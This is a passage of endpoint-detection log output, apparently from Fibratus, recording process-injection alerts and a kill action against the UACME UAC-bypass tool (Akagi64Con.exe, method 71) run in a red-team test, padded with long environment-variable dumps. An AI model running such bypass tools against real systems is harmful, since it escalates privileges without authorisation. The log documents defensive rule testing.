Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:06+01:00 level=info msg=executing kill action: pids=[6812] rule=Potential Process Hollowing source=rules/engine.go:294 +time=2025-12-04T17:16:06+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\csc\2b8acce52c969fd81364a73bcaf836e1\csc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7199440 + Pid: 6812 + Tid: 14228 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:00.1733905 +0100 CET + Params: base_address➜ 7ff9e6910000, checksum➜ 0, default_address➜ 7ff9e6910000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\csc\2b8acce52c969fd81364a73bcaf836e1\csc.ni.exe, image_size➜ 491520, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 6812, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 6601995826782797824, rule.name: .NET assembly loaded by unmanaged process, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:06+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\csc\2b8acce52c969fd81364a73bcaf836e1\csc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7199440 + Pid: 6812 + Tid: 14228 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:00.1733905 +0100 CET + Params: base_address➜ 7ff9e6910000, checksum➜ 0, default_address➜ 7ff9e6910000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\csc\2b8acce52c969fd81364a73bcaf836e1\csc.ni.exe, image_size➜ 491520, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 6812, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 6601995826782797824, tactic.id: TA0005, technique.id: T1055, technique.name: Process Injection, rule.name: .NET assembly loaded by unmanaged process, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:06+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\KeePass\0aafcaf276ea671c8afa5622f8ced0be\KeePass.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7199671 + Pid: 6812 + Tid: 14228 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:00.2104594 +0100 CET + Params: base_address➜ 7ff9a97d0000, checksum➜ 0, default_address➜ 7ff9a97d0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\KeePass\0aafcaf276ea671c8afa5622f8ced0be\KeePass.ni.exe, image_size➜ 11980800, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 6812, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 6601995826782797824, rule.name: .NET assembly loaded by unmanaged process, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive 